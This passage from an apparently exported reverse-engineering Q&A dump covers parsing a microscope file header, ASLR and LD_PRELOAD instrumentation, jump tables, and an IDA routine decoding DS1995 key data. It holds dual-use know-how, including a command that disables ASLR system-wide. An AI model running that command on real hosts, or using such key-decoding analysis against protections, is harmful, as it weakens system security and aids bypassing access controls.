    >>> import struct\n>>> fin = open(\"21sideb.mmd\" ,\"rb\")\n>>> for i in range(0x1a,30*76,30):\n...     fin.seek(i)\n...     print \"0x%x+\" % struct.unpack(\"i\",fin.read(4)),\n...\n0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+\n 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x\n4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0+ 0x64000+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x2+\n0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+\n>>>\n
    \n\n

    ccalc > 0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0

    \n\n

    ans = 0x0C38

    \n\n

    python script to rip the file into pieces as denoted in the header

    \n\n
    import struct\nfin = open(\"21sideb.mmd\",\"rb\")\nitemaddr = 0\n\nfor i in range (0x1a,30*75,30):\n    fin.seek(i+4)\n    print str(fin.read(15)),\n    fin.seek(i)                             \n    addone = struct.unpack(\"i\",fin.read(4)) \n    itemaddr += addone[0];                  # addr of NEXTITEM \n    fin.seek(i+30)\n    addtwo = struct.unpack(\"i\",fin.read(4)) # size of NEXTITEM    \n    fin.seek(itemaddr)    \n    print \"size = %s bytes  ItemData = %s\\n\" % ( str(hex(addtwo[0])) ,  hex(itemaddr))\n    if(itemaddr != 0xc38):\n        print struct.unpack( (str(addtwo[0]) + \"s\"),fin.read(addtwo[0]))\n        print \"\\n\"\n\nfin.close()\n
    \n\n

    each item seperately printed

    \n\n
     C:\\>python carvemmd.py TITLE size = 0x80 bytes ItemData = 0x8e8 \n('21 SIDE \nB\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\xf6\\x12\\x00\\x00\\x00\\x00\\x00l \n\\xf9\\x12\\x00\\x8f\\x04D~\\xb0\\x8eB~t\\x19\\xdds\\xb8%\\xeas@\\x00\\x00\\x00\\x03\\x00\n\\x00\\x00D\\xf7\\x12\\x00\\xb8%\\xeas\\xa8%\\xeas\\xb8\\xf6\\x12\\x00,\\xf7\\x12\\x00\\x00B\n\\xe6s\\xff\\xff\\xff\\xffD\\xf7\\x12\\x00X\\xf7\\x12\\x00\\x04\\xf7\\x12\\x00\\xf2|\\xe2sH\n\\x9c\\xeb\\x00\\xfd\\x99\\xeb\\x00\\x90\"G\\x00\\x84\\xd8F\\x00\\x14\\xd9F\\x00\\xd8|B\\x00@\n\\x01\\x00\\x00',) \nTIME size = 0x14 bytes ItemData = 0x968 \n('16:03:54\\x00\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nDATE size = 0x14 bytes ItemData = 0x97c \n('2017-07-11\\x00e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nDATATYPE size = 0x14 bytes ItemData = 0x990 \n('SURFACE\\x00ON\\x00\\x00OFF\\x00DEBU',) \nDAQ size = 0x14 bytes ItemData = 0x9a4 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nPHC size = 0x14 bytes ItemData = 0x9b8 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nRECON size = 0x14 bytes ItemData = 0x9cc \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nDETMASK size = 0x14 bytes ItemData = 0x9e0 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nTERMASK size = 0x14 bytes ItemData = 0x9f4 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nDATMASK size = 0x14 bytes ItemData = 0xa08 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nREFFILE size = 0x14 bytes ItemData = 0xa1c \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nINSTRUMENT size = 0x14 bytes ItemData = 0xa30 \n('Smooth Phase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nSEQUENCE size = 0x2 bytes ItemData = 0xa44 \n('\\x00\\x00',) \nSERIAL size = 0x14 bytes ItemData = 0xa46 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nPARTID size = 0x14 bytes ItemData = 0xa5a \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nXSTAGE size = 0x4 bytes ItemData = 0xa6e \n('\\x00\\x00\\x00\\x00',) \nYSTAGE size = 0x4 bytes ItemData = 0xa72 \n('\\x00\\x00\\x00\\x00',) \nZSTAGE size = 0x4 bytes ItemData = 0xa76 \n('\\x00\\x00\\x00\\x00',) \nTHETASTAGE size = 0x4 bytes ItemData = 0xa7a \n('\\x00\\x00\\x00\\x00',) \nSPECIALPHASE size = 0x14 bytes ItemData = 0xa7e \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nSPECIALDATA size = 0x14 bytes ItemData = 0xa92 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nFILTERLABEL size = 0x14 bytes ItemData = 0xaa6 \n('520 nm\\x00 B\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nMAGLABEL size = 0x14 bytes ItemData = 0xaba \n('20X\\x00nm\\x00 B\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nCAMERA_LABEL size = 0x14 bytes ItemData = 0xace \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nTUBE_LABEL size = 0x14 bytes ItemData = 0xae2 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nXPIXEL size = 0x4 bytes ItemData = 0xaf6 \n('H\\xe1\\xfa>',) \nYPIXEL size = 0x4 bytes ItemData = 0xafa \n('H\\xe1\\xfa>',) \nZSCALE size = 0x4 bytes ItemData = 0xafe \n('\\x00\\x00\\x80?',) \nORIGINX size = 0x2 bytes ItemData = 0xb02 \n('\\x00\\x00',) \nORIGINY size = 0x2 bytes ItemData = 0xb04 \n('\\x00\\x00',) \nPZTSHIFT size = 0x4 bytes ItemData = 0xb06 \n('\\x00\\x00\\x00\\x00',) \nMODTHRESH size = 0x4 bytes ItemData = 0xb0a \n('\\x00\\x00\\x00\\x00',) \nSMOOTH size = 0x4 bytes ItemData = 0xb0e \n('\\x00\\x00\\x00\\x00',) \nBADPIXEL size = 0x4 bytes ItemData = 0xb12 \n('\\xbf\\x87*Y',) \nREGIONS size = 0x2 bytes ItemData = 0xb16 \n('\\x00\\x00',) \nTERM size = 0x14 bytes ItemData = 0xb18 \n('NONE\\x00\\x00\\x00\\x00TERMS\\x00\\x00\\x00MEAN',) \nPIXELCOUNT size = 0x4 bytes ItemData = 0xb2c \n('\\x00\\x00\\x00\\x00',) \nVALLEY size = 0x4 bytes ItemData = 0xb30 \n('\\x00\\x00\\x00\\x00',) \nPEAK size = 0x4 bytes ItemData = 0xb34 \n('\\x00\\x00\\x00\\x00',) \nRMS size = 0x4 bytes ItemData = 0xb38 \n('\\x00\\x00\\x00\\x00',) \nRA size = 0x4 bytes ItemData = 0xb3c \n('\\x00\\x00\\x00\\x00',) \nRS size = 0x4 bytes ItemData = 0xb40 \n('\\x00\\x00\\x00\\x00',) \nCS size = 0x4 bytes ItemData = 0xb44 \n('\\x00\\x00\\x00\\x00',) \nR1 size = 0x4 bytes ItemData = 0xb48 \n('\\x00\\x00\\x00\\x00',) \nR2 size = 0x4 bytes ItemData = 0xb4c \n('\\x00\\x00\\x00\\x00',) \nA1 size = 0x4 bytes ItemData = 0xb50 \n('\\x00\\x00\\x00\\x00',) \nMEAN size = 0x4 bytes ItemData = 0xb54 \n('\\x00\\x00\\x00\\x00',) \nTERMS size = 0xe0 bytes ItemData = 0xb58 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00',) \nDATA size = 0x64000 bytes ItemData = 0xc38 \nMODENAME size = 0x14 bytes ItemData = 0x64c38 \n('Smooth Phase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nTUBENAME size = 0x14 bytes ItemData = 0x64c4c \n('1X Body\\x00hase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nRELAYNAME size = 0x14 bytes ItemData = 0x64c60 \n('1X Relay\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nCAMERANAME size = 0x14 bytes ItemData = 0x64c74 \n('1/2\" CCD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nOPERATOR size = 0x14 bytes ItemData = 0x64c88 \n('125\\x00 CCD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nLOTNUMBER size = 0x14 bytes ItemData = 0x64c9c \n('I9W1R\\x00CD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nPARTNUMBER size = 0x14 bytes ItemData = 0x64cb0 \n('39530\\x00CD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nXDECIMATION size = 0x2 bytes ItemData = 0x64cc4 \n('\\x01\\x00',) \nYDECIMATION size = 0x2 bytes ItemData = 0x64cc6 \n('\\x01\\x00',) \nFILTERWAVELENGT size = 0x4 bytes ItemData = 0x64cc8 \n('\\xb8\\x1e\\x05?',) \nOBJECTIVEMAG size = 0x4 bytes ItemData = 0x64ccc \n('\\x00\\x00\\xa0A',) \nOBJECTIVENA size = 0x4 bytes ItemData = 0x64cd0 \n('\\xcd\\xcc\\xcc>',) \nTUBEMAG size = 0x4 bytes ItemData = 0x64cd4 \n('\\x00\\x00\\x80?',) \nRELAYMAG size = 0x4 bytes ItemData = 0x64cd8 \n('\\x00\\x00\\x80?',) \nCAMERAXPIXEL size = 0x4 bytes ItemData = 0x64cdc \n('\\xcd\\xcc\\x1cA',) \nCAMERAYPIXEL size = 0x4 bytes ItemData = 0x64ce0 \n('\\xcd\\xcc\\x1cA',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nC:\\> \n
    \n" }, { "Id": "15971", "CreationDate": "2017-08-01T02:22:22.093", "Body": "

    I am working on a project where I need to use LD_PRELOAD to load some libraries into the memory space.

    \n\n

    It's like:

    \n\n
     LD_PRELOAD=\"./libapp.so\" ./my_app\n
    \n\n

    Due to certain reasons (I am actually working on some binary hacking), I must know the memory address (not a symbol) of certain functions (let's say, foo) in libapp.so and instrument the binary code of my_app before execution.

    \n\n

    However, due to ASLR (Address Space Layout Randomization), each time libapp.so would be loaded into different memory address, and I am unable to know the memory address of foo before execution.

    \n\n

    I am thinking to somehow intercept the loading time, readout the memory address of libapp.so, perform some instrumentation on my_app with the memory address of foo, and then load my_app into the memory space.

    \n\n

    So here is my question: how to intercept the loading process and acquire the memory address of libapp.so?

    \n", "Title": "Dumpout Process Memory Layout During Loading Time", "Tags": "|instrumentation|binary-editing|", "Answer": "

    I think that one option could be to use ptrace, for example you can use _dl_open() instead of LD_PRELOAD. Look at this example:

    \n\n\n\n

    Another option could be to use gdb for do that, for example you have the possibility to set a pending breakpoint to foo and then run the program.

    \n\n

    Another option could be turn off the ASLR, you can do it using the /proc/sys/kernel/randomize_va_space

    \n\n

    To disable it you can run:

    \n\n
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n
    \n" }, { "Id": "15978", "CreationDate": "2017-08-01T21:02:24.720", "Body": "

    I am currently analysing a regular Windows x86 executable (-> protected mode) and I came across several far call instructions in the disassembly. I know that far calls, for example, are used in WOW64 to switch from 32bit to 64bit mode (by a far call to code segment 0x33, see here). However, I can not make any sense of the far calls in that executable. They look like this:

    \n\n
    <somewhere near 0x00123400>:  9a 34 12 cd ab 34 12    call   0x1234:0xabcd1234\n
    \n\n

    The code segemt is in most cases the same as the lower 16 bits of the call address. At the same time, the code segment is rougly the same as the middle (!) 16 bits of the instruction's own address (as illustrated above). The call addresses always point to unmapped/invalid memory areas in the code segment of the process itself.

    \n\n

    How can I identify the call target of these far calls? Is it even possible/pratical to have hard coded code segments? Or could it be an alignment issue of the disassembler?

    \n\n

    Edit: For example, the first far call in the image occurs in a chunk of code starting at a 16-byte boundary (identified by leading int3 instructions). The far call comes 2 bytes after the (only) return instruction in that chunk (some 2000 bytes after its start). The offset of the far call instruction is used as an indirect jump offfset like this:

    \n\n
    jmp    DWORD PTR [eax*4+<far call offset>]\n
    \n", "Title": "Idenifying far call target in protected mode (x86 assembly)", "Tags": "|disassembly|x86|call|", "Answer": "

    it seems the \"code\" you're trying to disassemble is not actually code but just the table of offsets for the indirect jump (likely a switch implementation). Try interpreting it as a list of 4-byte flat addresses. E.g. :

    \n\n
    .text:667013BC 03C                 cmp     ebx, 7 ; SWITCH ; switch 8 cases\n.text:667013BF 03C                 ja      loc_667015AB ; SWITCH ; jumptable 667013C5 default case\n.text:667013C5 03C                 jmp     ds:off_667060CC[ebx*4] ; switch jump\n [...]\n.rdata:667060CC     off_667060CC    dd offset loc_667015DE ; jump table for switch statement\n.rdata:667060CC                     dd offset loc_667015D6  \n.rdata:667060CC                     dd offset loc_667015EE\n.rdata:667060CC                     dd offset loc_667015E6\n.rdata:667060CC                     dd offset loc_667015F6\n.rdata:667060CC                     dd offset loc_667015A5\n.rdata:667060CC                     dd offset loc_66701663\n.rdata:667060CC                     dd offset loc_66701658\n
    \n" }, { "Id": "15987", "CreationDate": "2017-08-03T07:07:58.243", "Body": "

    I am working on reverse engineering an algorithm and I am using IDA. This is how the stack definition looks:

    \n\n
    var_41E= word ptr -41Eh\ns= byte ptr -412h\nvar_401= byte ptr -401h (v23)\nvar_400= byte ptr -400h (v22)- IDA shows as db 835\nvar_BD= word ptr -0BDh\nvar_13= byte ptr -13h (v25)\nvar_12= byte ptr -12h\nvar_11= byte ptr -11h\nvar_10= byte ptr -10h\nvar_F= byte ptr -0Fh\nvar_E= byte ptr -0Eh\nvar_D= byte ptr -0Dh\narg_0= dword ptr  8\ndest= dword ptr  0Ch\narg_8= dword ptr  10h\n
    \n\n

    There is this code block:

    \n\n
    loc_1B41AA:\nmov     al, [ebp+edx+var_12]\nxor     [ebp+edx+var_400], al\ninc     edx\ncmp     edx, 4\njnz     short loc_1B41AA\n
    \n\n

    Which translates to:

    \n\n
    do\n{\n  v23[v11] ^= *(&v26 + v11);\n  ++v11;\n}\nwhile ( v11 != 4 );\n
    \n\n

    The problem I'm having is, this v23 is never used. I was thinking perhaps this is a pointer to another spot in memory, but I'm unable to find this.

    \n\n

    The next section of code reads:

    \n\n
    do\n{\n  *(&v25 + v11) ^= *(&v22 + v11);\n  ++v11;\n}\nwhile ( v11 != 5 );\n
    \n\n

    Which again, v22 is never used anywhere else. Nor is v25.

    \n\n

    I feel like I'm missing something obvious. I have been able to reversed previous formula's so I just don't understand why this seems to allude me. I was thinking maybe this is some trash code to throw people off, but I'm not sure because I've replicated the rest of the process and the results aren't right. If I need to provide additional information, let me know.

    \n\n

    Here is the entire code block for better reference:\nv9 is a 8 byte buffer. byte 0 is not used by the algorithm. I see \"*(&v25 + v11) ^= *(&v22 + v11)\" which seems like it could be altering this array? I suck at stack related things...

    \n\n
    v26 = *(_BYTE *)(v9 + 1) ^ 0x42;\nv27 = *(_BYTE *)(v9 + 2) ^ 0x4F;\nv28 = *(_BYTE *)(v9 + 3) ^ 0x4C;\nv29 = *(_BYTE *)(v9 + 4) ^ 0x37;\nv30 = *(_BYTE *)(v9 + 5) ^ 0x37;\nv10 = *(_BYTE *)(v9 + 6);\nv11 = 0;\nv31 = v10 ^ 0x36;\ndo\n{\n  v23[v11] ^= *(&v26 + v11);\n  ++v11;\n}\nwhile ( v11 != 4 );\nLOBYTE(v11) = 1;\ndo\n{\n  *(&v25 + v11) ^= *(&v22 + v11);\n  ++v11;\n}\nwhile ( v11 != 5 );\n\n\n\n.text:001B4166                 mov     esi, [ebp+arg_0]\n.text:001B4169                 mov     edx, [esi+120h]\n.text:001B416F                 add     esp, 10h\n.text:001B4172                 mov     al, [edx+1]\n.text:001B4175                 xor     eax, 42h\n.text:001B4178                 mov     [ebp+var_12], al\n.text:001B417B                 mov     al, [edx+2]\n.text:001B417E                 xor     eax, 4Fh\n.text:001B4181                 mov     [ebp+var_11], al\n.text:001B4184                 mov     al, [edx+3]\n.text:001B4187                 xor     eax, 4Ch\n.text:001B418A                 mov     [ebp+var_10], al\n.text:001B418D                 mov     al, [edx+4]\n.text:001B4190                 xor     eax, 37h\n.text:001B4193                 mov     [ebp+var_F], al\n.text:001B4196                 mov     al, [edx+5]\n.text:001B4199                 xor     eax, 37h\n.text:001B419C                 mov     [ebp+var_E], al\n.text:001B419F                 mov     al, [edx+6]\n.text:001B41A2                 xor     edx, edx\n.text:001B41A4                 xor     eax, 36h\n.text:001B41A7                 mov     [ebp+var_D], al\n.text:001B41AA\n.text:001B41AA loc_1B41AA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+243j\n.text:001B41AA                 mov     al, [ebp+edx+var_12]\n.text:001B41AE                 xor     [ebp+edx+var_400], al\n.text:001B41B5                 inc     edx\n.text:001B41B6                 cmp     edx, 4\n.text:001B41B9                 jnz     short loc_1B41AA\n.text:001B41BB                 mov     dl, 1\n.text:001B41BD\n.text:001B41BD loc_1B41BD:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+256j\n.text:001B41BD                 mov     al, [ebp+edx+var_401]\n.text:001B41C4                 xor     [ebp+edx+var_13], al\n.text:001B41C8                 inc     edx\n.text:001B41C9                 cmp     edx, 5\n.text:001B41CC                 jnz     short loc_1B41BD\n.text:001B41CE                 xor     ecx, ecx\n.text:001B41D0\n.text:001B41D0 loc_1B41D0:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+283j\n.text:001B41D0                 cmp     ecx, 11h\n.text:001B41D3                 jbe     short loc_1B41DA\n.text:001B41D5                 cmp     ecx, 15h\n.text:001B41D8                 jbe     short loc_1B41F2\n.text:001B41DA\n.text:001B41DA loc_1B41DA:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+25Dj\n.text:001B41DA                 mov     edx, 6\n.text:001B41DF                 mov     eax, ecx\n.text:001B41E1                 mov     esi, edx\n.text:001B41E3                 xor     edx, edx\n.text:001B41E5                 div     esi\n.text:001B41E7                 mov     al, [ebp+edx+var_12]\n.text:001B41EB                 xor     [ebp+ecx+s], al\n.text:001B41F2\n.text:001B41F2 loc_1B41F2:                             ; CODE XREF: USBIO::ReadDS1995KeyData(uchar *,ushort)+262j\n.text:001B41F2                 inc     ecx\n.text:001B41F3                 cmp     ecx, 400h\n.text:001B41F9                 jnz     short loc_1B41D0\n.text:001B41FB                 xor     esi, esi\n.text:001B41FD                 lea     ecx, [ebp+s]\n.text:001B4203                 xor     edx, edx\n
    \n", "Title": "IDA Pro - Stack variable only used in one place?", "Tags": "|ida|", "Answer": "

    that code is referencing a byte pointer inside a structure you need to define a structure in ida assign it members (it references 120 so your structure size should be > 120) and then define the bytepointer member and re analyze your program ida should now provide a better pseudo code

    \n\n

    here is a small c code that could generate the code in assembly and its ida counter part posted as demo

    \n\n

    src code as follows compiled and linked with vs 2015

    \n\n
    #include <stdio.h>\n#include <windows.h>\ntypedef struct _MYSTRUCT {\n    DWORD memberone[72];\n    PCHAR  membertwo;\n}Mystruct , *PMystruct;\nvoid docall(PMystruct argone) {\n    char zo[8];\n// disassembly refers to 2 byte in the string passed by addr @(edx+1)   \n    zo[0] = argone->membertwo[1] ^ 13;\n    zo[1] = argone->membertwo[2] ^ 37;\n    zo[2] = argone->membertwo[3] ^ 94;\n    zo[3] = argone->membertwo[4] ^ 94; \n    zo[4] = argone->membertwo[5] ^ 13;\n    zo[5] = argone->membertwo[6] ^ 37;\n    zo[6] = argone->membertwo[7] ^ 94;\n    zo[7] = argone->membertwo[8] ^ 94;\n        for(int i =0; i<8;i++)\n        {\n            printf (\"%c\",zo[i]);\n        }\n}\nint main(void) {\n    Mystruct teststruct;\n    PCHAR mystr = \"Oe@22e@22\";\n    teststruct.membertwo = mystr;\n    docall(&teststruct);\n    return 0;\n}\n
    \n\n

    you can observe a striking similarity to the disassembly you edited in

    \n\n
    .text:00401001 ; int __cdecl docall(Mystruct *argone)\n.text:00401001 docall          proc near               ; CODE XREF: main+17p\n.text:00401001\n.text:00401001 var_C           = byte ptr -0Ch\n.text:00401001 var_4           = dword ptr -4\n.text:00401001 argone          = dword ptr  8\n.text:00401001\n.text:00401001                 push    ebp\n.text:00401002                 mov     ebp, esp\n.text:00401004                 sub     esp, 0Ch\n.text:00401007                 mov     eax, __security_cookie\n.text:0040100C                 xor     eax, ebp\n.text:0040100E                 mov     [ebp+var_4], eax\n.text:00401011                 mov     eax, [ebp+argone]\n.text:00401014                 push    esi\n.text:00401015                 mov     ecx, [eax+Mystruct.membertwo]\n.text:0040101B                 mov     al, [ecx+1]\n.text:0040101E                 xor     al, 0Dh\n.text:00401020                 mov     [ebp+var_C], al\n.text:00401023                 mov     al, [ecx+2]\n.text:00401026                 xor     al, 25h\n.text:00401028                 mov     [ebp+var_C+1], al\n.text:0040102B                 mov     al, [ecx+3]\n.text:0040102E                 xor     al, 5Eh\n.text:00401030                 mov     [ebp+var_C+2], al\n.text:00401033                 mov     al, [ecx+4]\n.text:00401036                 xor     al, 5Eh\n.text:00401038                 mov     [ebp+var_C+3], al\n.text:0040103B                 mov     al, [ecx+5]\n.text:0040103E                 xor     al, 0Dh\n.text:00401040                 mov     [ebp+var_C+4], al\n.text:00401043                 mov     al, [ecx+6]\n.text:00401046                 xor     al, 25h\n.text:00401048                 mov     [ebp+var_C+5], al\n.text:0040104B                 mov     al, [ecx+7]\n.text:0040104E                 xor     al, 5Eh\n.text:00401050                 mov     [ebp+var_C+6], al\n.text:00401053                 mov     al, [ecx+8]\n.text:00401056                 xor     al, 5Eh\n.text:00401058                 xor     esi, esi\n.text:0040105A                 mov     [ebp+var_C+7], al\n.text:0040105D\n.text:0040105D loc_40105D:                             ; CODE XREF: docall+72j\n.text:0040105D                 movzx   eax, [ebp+esi+var_C]\n.text:00401062                 push    eax\n.text:00401063                 push    offset asc_43B1A0 ; \"%\"\n.text:00401068                 call    printf\n.text:0040106D                 inc     esi\n.text:0040106E                 pop     ecx\n.text:0040106F                 pop     ecx\n.text:00401070                 cmp     esi, 8\n.text:00401073                 jl      short loc_40105D\n.text:00401075                 mov     ecx, [ebp+var_4]\n.text:00401078                 xor     ecx, ebp\n.text:0040107A                 pop     esi\n.text:0040107B                 call    __security_check_cookie\n.text:00401080                 mov     esp, ebp\n.text:00401082                 pop     ebp\n.text:00401083                 retn\n.text:00401083 docall          endp\n
    \n\n

    find and convert the var a,b,c,x,y,.... to a proper sized array so that \ninstead of var a, var b ida would show varx+1 , varx+2 etc

    \n\n

    insert or define a structure of proper size

    \n\n

    edit the function and set its function type (from a possible int to Mystruct *) using the above define struct

    \n\n

    re analyze the program if you have hexrays redo the decompiling to see a fresh pseudo code should be much better than your present *x+*y+*z = *v/t-infinity

    \n\n

    the code is xorring a specific portion(400 bytes) of the input with gaps in between (11h and 15h)

    \n" }, { "Id": "15989", "CreationDate": "2017-08-03T09:39:37.593", "Body": "

    If I'm looking at a binary compiled with VC++ in a hex editor and I want to identify the start of functions - I can look for the hex \"55 8B\" - which is a common function prolog.

    \n\n

    Is there something equivalent with .net CIL? I.e. is there a hex pattern I can look for to identify the start of functions raw?

    \n\n

    The application here is to look for shared code between malware samples.

    \n", "Title": "Do .NET functions have function prologs?", "Tags": "|assembly|hex|.net|", "Answer": "

    There is no real prolog in IL code because it does not need to manage the stack, save clobbered registers, or do any other standard bookkeeping necessary in the native code.

    \n\n

    However, the bytecode itself is preceded by the method header, and those have a limited number of possibilities. From the book .NET IL Assembler:

    \n\n
    \n

    Method Header Attributes

    \n \n

    The RVA value (if it is nonzero) of a Method record points to the\n method body. Two types of method headers\u2014fat and tiny\u2014are defined in\n CorHdr.h. The first two bits of the header indicate its type: bit 10\n stands for the tiny format, and bit 11 stands for the fat format.

    \n \n

    [...]

    \n \n

    A tiny method header is only 1 byte in size, with the first two\n (least significant) bits holding the type\u201410\u2014and the six remaining\n bits holding the method IL code size in bytes. A method is given a\n tiny header if it has neither local variables nor managed exception\n handling, if it works fine with the default evaluation stack depth of\n 8 slots, and if its code size is less than 64 bytes. A fat header is\n 12 bytes in size and has the structure described in Table 10-1. The\n fat headers must begin at 4-byte boundaries. Figure 10-4 shows the\n structures of both tiny and fat method headers.

    \n
    \n\n

    So if you take some .NET binaries, look up method RVAs in the metadata and go to that RVA in the binary, you can collect some patterns of headers and use them to find bytecode in the binary. (although I would suggest just using metadata in the first place - it lists locations of all legitimate methods in the binary).

    \n" }, { "Id": "16004", "CreationDate": "2017-08-04T16:43:39.530", "Body": "

    I need to extract the IP that a certain application is using to receive and/or send data, is there any tool or software that would do this for me ? or any simple way without needing to dig into the application calls ?

    \n", "Title": "Any tool for finding IP that a process use/access?", "Tags": "|tools|process|callstack|address|", "Answer": "

    Linux

    \n\n

    As @Nirlzr correctly mentioned, netstat -ape | grep <proc_name/pid> will show you the active connections of a process. It might be just enough for you but there are some cases where it would not.

    \n\n
